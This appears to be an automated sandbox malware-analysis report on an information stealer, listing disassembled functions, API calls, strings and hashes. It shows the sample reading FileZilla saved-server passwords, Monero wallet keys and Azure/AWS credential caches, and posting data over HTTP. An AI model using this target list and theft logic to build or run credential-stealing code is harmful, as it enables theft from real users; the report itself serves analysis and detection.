Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00D403B0 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D48F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D48F9B

Part of subcall function 00D4AC30: lstrcpy.KERNEL32(00000000,?), ref: 00D4AC82
Part of subcall function 00D4AC30: lstrcat.KERNEL32(00000000), ref: 00D4AC92

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00D4AAF6

Part of subcall function 00D3A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D3A13C
Part of subcall function 00D3A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D3A161
Part of subcall function 00D3A110: LocalAlloc.KERNEL32(00000040,?), ref: 00D3A181
Part of subcall function 00D3A110: ReadFile.KERNEL32(000000FF,?,00000000,00D3148F,00000000), ref: 00D3A1AA
Part of subcall function 00D3A110: LocalFree.KERNEL32(00D3148F), ref: 00D3A1E0
Part of subcall function 00D3A110: CloseHandle.KERNEL32(000000FF), ref: 00D3A1EA

Part of subcall function 00D48FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D48FE2

GetProcessHeap.KERNEL32(00000000,000F423F,00D50DBF,00D50DBE,00D50DBB,00D50DBA), ref: 00D404C2
RtlAllocateHeap.NTDLL(00000000), ref: 00D404C9
StrStrA.SHLWAPI(00000000,<Host>), ref: 00D404E5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB7), ref: 00D404F3
StrStrA.SHLWAPI(00000000,<Port>), ref: 00D4052F
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB7), ref: 00D4053D
StrStrA.SHLWAPI(00000000,<User>), ref: 00D40579
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB7), ref: 00D40587
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00D405C3
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB7), ref: 00D405D5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB7), ref: 00D40662
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB7), ref: 00D4067A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB7), ref: 00D40692
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB7), ref: 00D406AA
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00D406C2
lstrcat.KERNEL32(?,profile: null), ref: 00D406D1
lstrcat.KERNEL32(?,url: ), ref: 00D406E0
lstrcat.KERNEL32(?,00000000), ref: 00D406F3
lstrcat.KERNEL32(?,00D51770), ref: 00D40702
lstrcat.KERNEL32(?,00000000), ref: 00D40715
lstrcat.KERNEL32(?,00D51774), ref: 00D40724
lstrcat.KERNEL32(?,login: ), ref: 00D40733
lstrcat.KERNEL32(?,00000000), ref: 00D40746
lstrcat.KERNEL32(?,00D51780), ref: 00D40755
lstrcat.KERNEL32(?,password: ), ref: 00D40764
lstrcat.KERNEL32(?,00000000), ref: 00D40777
lstrcat.KERNEL32(?,00D51790), ref: 00D40786
lstrcat.KERNEL32(?,00D51794), ref: 00D40795
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D50DB7), ref: 00D407EE

Strings

<User>, xrefs: 00D40570
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00D40404
url: , xrefs: 00D406D7
<Port>, xrefs: 00D40526
profile: null, xrefs: 00D406C8
<Pass encoding="base64">, xrefs: 00D405BA
password: , xrefs: 00D4075B
login: , xrefs: 00D4072A
<Host>, xrefs: 00D404DC
browser: FileZilla, xrefs: 00D406B9

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 20d008aecb714d7d6fcc15812f29234d63ac6096a998c793aeb89be8f59be73d
Instruction ID: 2fca80c06514d6d9231a7c4d5f5caad778c39511a44684f0f4989bf6d10a9602
Opcode Fuzzy Hash: 20d008aecb714d7d6fcc15812f29234d63ac6096a998c793aeb89be8f59be73d
Instruction Fuzzy Hash: 1DD13F75940208ABDF14EBF8DD96EEE7739EF18301F008558F542A6095EF79AA08CB71

Function 00D359B0 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00D4AAF6

Part of subcall function 00D34800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D34889
Part of subcall function 00D34800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D34899

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00D35A48
StrCmpCA.SHLWAPI(?,0167E7D8), ref: 00D35A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D35BE3
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0167E868,00000000,?,0167A3C0,00000000,?,00D51B4C), ref: 00D35EC1
lstrlen.KERNEL32(00000000), ref: 00D35ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00D35EE3
RtlAllocateHeap.NTDLL(00000000), ref: 00D35EEA
lstrlen.KERNEL32(00000000), ref: 00D35EFF
lstrlen.KERNEL32(00000000), ref: 00D35F28
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D35F41
lstrlen.KERNEL32(00000000,?,?), ref: 00D35F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00D35F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00D35F9C
InternetCloseHandle.WININET(00000000), ref: 00D36000
InternetCloseHandle.WININET(00000000), ref: 00D3600D
HttpOpenRequestA.WININET(00000000,0167E7A8,?,0167E3F8,00000000,00000000,00400100,00000000), ref: 00D35C48

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

Part of subcall function 00D4AC30: lstrcpy.KERNEL32(00000000,?), ref: 00D4AC82
Part of subcall function 00D4AC30: lstrcat.KERNEL32(00000000), ref: 00D4AC92

InternetCloseHandle.WININET(00000000), ref: 00D36017

Strings

------, xrefs: 00D35D9C
", xrefs: 00D35E66
------, xrefs: 00D35C5B
------, xrefs: 00D35AE6
", xrefs: 00D35D25

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 524f66935ae3a56416c89219bffe98f7318ac0b6f072183473898f89b3152700
Instruction ID: a2bcf02a7cafa0610b6d67dd8e7dd314fb891cf2244a6e57222cb7be8d37fa41
Opcode Fuzzy Hash: 524f66935ae3a56416c89219bffe98f7318ac0b6f072183473898f89b3152700
Instruction Fuzzy Hash: 5E120C72960528ABDB15EBA4DCA6FEEB379FF14700F004199F10662091EF746A48CF75

Function 00D3CFF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

Part of subcall function 00D48CF0: GetSystemTime.KERNEL32(00D50E1B,0167A270,00D505B6,?,?,00D313F9,?,0000001A,00D50E1B,00000000,?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D48D16

Part of subcall function 00D4AC30: lstrcpy.KERNEL32(00000000,?), ref: 00D4AC82
Part of subcall function 00D4AC30: lstrcat.KERNEL32(00000000), ref: 00D4AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D3D083
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00D3D1C7
RtlAllocateHeap.NTDLL(00000000), ref: 00D3D1CE
lstrcat.KERNEL32(?,00000000), ref: 00D3D308
lstrcat.KERNEL32(?,00D51570), ref: 00D3D317
lstrcat.KERNEL32(?,00000000), ref: 00D3D32A
lstrcat.KERNEL32(?,00D51574), ref: 00D3D339
lstrcat.KERNEL32(?,00000000), ref: 00D3D34C
lstrcat.KERNEL32(?,00D51578), ref: 00D3D35B
lstrcat.KERNEL32(?,00000000), ref: 00D3D36E
lstrcat.KERNEL32(?,00D5157C), ref: 00D3D37D
lstrcat.KERNEL32(?,00000000), ref: 00D3D390
lstrcat.KERNEL32(?,00D51580), ref: 00D3D39F
lstrcat.KERNEL32(?,00000000), ref: 00D3D3B2
lstrcat.KERNEL32(?,00D51584), ref: 00D3D3C1
lstrcat.KERNEL32(?,00000000), ref: 00D3D3D4
lstrcat.KERNEL32(?,00D51588), ref: 00D3D3E3

Part of subcall function 00D4AB30: lstrlen.KERNEL32(00D34F55,?,?,00D34F55,00D50DDF), ref: 00D4AB3B
Part of subcall function 00D4AB30: lstrcpy.KERNEL32(00D50DDF,00000000), ref: 00D4AB95

lstrlen.KERNEL32(?), ref: 00D3D42A
lstrlen.KERNEL32(?), ref: 00D3D439

Part of subcall function 00D4AD80: StrCmpCA.SHLWAPI(00000000,00D51568,00D3D2A2,00D51568,00000000), ref: 00D4AD9F

DeleteFileA.KERNEL32(00000000), ref: 00D3D4B4

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 29c0f1b4b0d9aa299fccd3d0816f0d00b9a338e72a3ff362192971ac07389916
Instruction ID: 14a37afadf7048da0b9b26106eff9b7d75ec5a84a94781d15dd2ec83c119b59e
Opcode Fuzzy Hash: 29c0f1b4b0d9aa299fccd3d0816f0d00b9a338e72a3ff362192971ac07389916
Instruction Fuzzy Hash: 0EE14C75950108ABDB15EBA8DDA6EEE7339EF14301F004158F546B6091EF3ABE08CB72

Function 00D3CA90 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D4AC30: lstrcpy.KERNEL32(00000000,?), ref: 00D4AC82
Part of subcall function 00D4AC30: lstrcat.KERNEL32(00000000), ref: 00D4AC92

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0167CF18,00000000,?,00D51544,00000000,?,?), ref: 00D3CB6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00D3CB89
GetFileSize.KERNEL32(00000000,00000000), ref: 00D3CB95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D3CBA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00D3CBD9
StrStrA.SHLWAPI(?,0167CDF8,00D50B56), ref: 00D3CBF7
StrStrA.SHLWAPI(00000000,0167CE70), ref: 00D3CC1E
StrStrA.SHLWAPI(?,0167D8E0,00000000,?,00D51550,00000000,?,00000000,00000000,?,01679238,00000000,?,00D5154C,00000000,?), ref: 00D3CDA2
StrStrA.SHLWAPI(00000000,0167D780), ref: 00D3CDB9

Part of subcall function 00D3C920: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00D3C971
Part of subcall function 00D3C920: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00D3C97C

StrStrA.SHLWAPI(?,0167D780,00000000,?,00D51554,00000000,?,00000000,01679108), ref: 00D3CE5A
StrStrA.SHLWAPI(00000000,01678FE8), ref: 00D3CE71

Part of subcall function 00D3C920: lstrcat.KERNEL32(?,00D50B47), ref: 00D3CA43
Part of subcall function 00D3C920: lstrcat.KERNEL32(?,00D50B4B), ref: 00D3CA57
Part of subcall function 00D3C920: lstrcat.KERNEL32(?,00D50B4E), ref: 00D3CA78

lstrlen.KERNEL32(00000000), ref: 00D3CF44
CloseHandle.KERNEL32(00000000), ref: 00D3CF9C

Strings

, xrefs: 00D3CAC6

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 61d43442a9724a2a6a5d0e0fe048cc08dcbc3f23809cb7941aaa8d87b20971a0
Instruction ID: da4ad6303b5be4b5c8bbec43ebcd739c00d5d2e61ca967825b718af82580eaa0
Opcode Fuzzy Hash: 61d43442a9724a2a6a5d0e0fe048cc08dcbc3f23809cb7941aaa8d87b20971a0
Instruction Fuzzy Hash: 71E11772950108ABDB15EBA8DCA2FEEB779EF58300F004199F14663192EF356A49CF71

Function 00D484B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

RegOpenKeyExA.ADVAPI32(00000000,0167B1C8,00000000,00020019,00000000,00D505BE), ref: 00D48534
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00D485B6
wsprintfA.USER32 ref: 00D485E9
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00D4860B
RegCloseKey.ADVAPI32(00000000), ref: 00D4861C
RegCloseKey.ADVAPI32(00000000), ref: 00D48629

Part of subcall function 00D4AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00D4AAF6

Strings

?, xrefs: 00D4850A
%s\%s, xrefs: 00D485DD
- , xrefs: 00D48733

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 8f23db9cb5a23d3b01f67c8036a4b59d3acffb15069eddd7cfb0229b2af255ed
Instruction ID: 56886161ef75f2fed0e917c13297e20a7af24cee03610e17e05341cec5f0654f
Opcode Fuzzy Hash: 8f23db9cb5a23d3b01f67c8036a4b59d3acffb15069eddd7cfb0229b2af255ed
Instruction Fuzzy Hash: F3811A71950118ABEB24DF54CD91FEAB7B9FB48340F1082D9E149A6180DF75AB88CFB0

Function 00D44FC0 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D48F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D48F9B

lstrcat.KERNEL32(?,00000000), ref: 00D45000
lstrcat.KERNEL32(?,\.azure\), ref: 00D4501D

Part of subcall function 00D44B60: wsprintfA.USER32 ref: 00D44B7C
Part of subcall function 00D44B60: FindFirstFileA.KERNEL32(?,?), ref: 00D44B93

lstrcat.KERNEL32(?,00000000), ref: 00D4508C
lstrcat.KERNEL32(?,\.aws\), ref: 00D450A9

Part of subcall function 00D44B60: StrCmpCA.SHLWAPI(?,00D50FC4), ref: 00D44BC1
Part of subcall function 00D44B60: StrCmpCA.SHLWAPI(?,00D50FC8), ref: 00D44BD7
Part of subcall function 00D44B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00D44DCD
Part of subcall function 00D44B60: FindClose.KERNEL32(000000FF), ref: 00D44DE2

lstrcat.KERNEL32(?,00000000), ref: 00D45118
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00D45135

Part of subcall function 00D44B60: wsprintfA.USER32 ref: 00D44C00
Part of subcall function 00D44B60: StrCmpCA.SHLWAPI(?,00D508D3), ref: 00D44C15
Part of subcall function 00D44B60: wsprintfA.USER32 ref: 00D44C32
Part of subcall function 00D44B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00D44C6E
Part of subcall function 00D44B60: lstrcat.KERNEL32(?,0167E888), ref: 00D44C9A
Part of subcall function 00D44B60: lstrcat.KERNEL32(?,00D50FE0), ref: 00D44CAC
Part of subcall function 00D44B60: lstrcat.KERNEL32(?,?), ref: 00D44CC0
Part of subcall function 00D44B60: lstrcat.KERNEL32(?,00D50FE4), ref: 00D44CD2
Part of subcall function 00D44B60: lstrcat.KERNEL32(?,?), ref: 00D44CE6
Part of subcall function 00D44B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00D44CFC
Part of subcall function 00D44B60: DeleteFileA.KERNEL32(?), ref: 00D44D81

Strings

*.*, xrefs: 00D450B4
Azure\.azure, xrefs: 00D45023
\.azure\, xrefs: 00D45011
\.IdentityService\, xrefs: 00D45129
msal.cache, xrefs: 00D45140
Azure\.IdentityService, xrefs: 00D4513B
\.aws\, xrefs: 00D4509D
Azure\.aws, xrefs: 00D450AF
*.*, xrefs: 00D45028

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

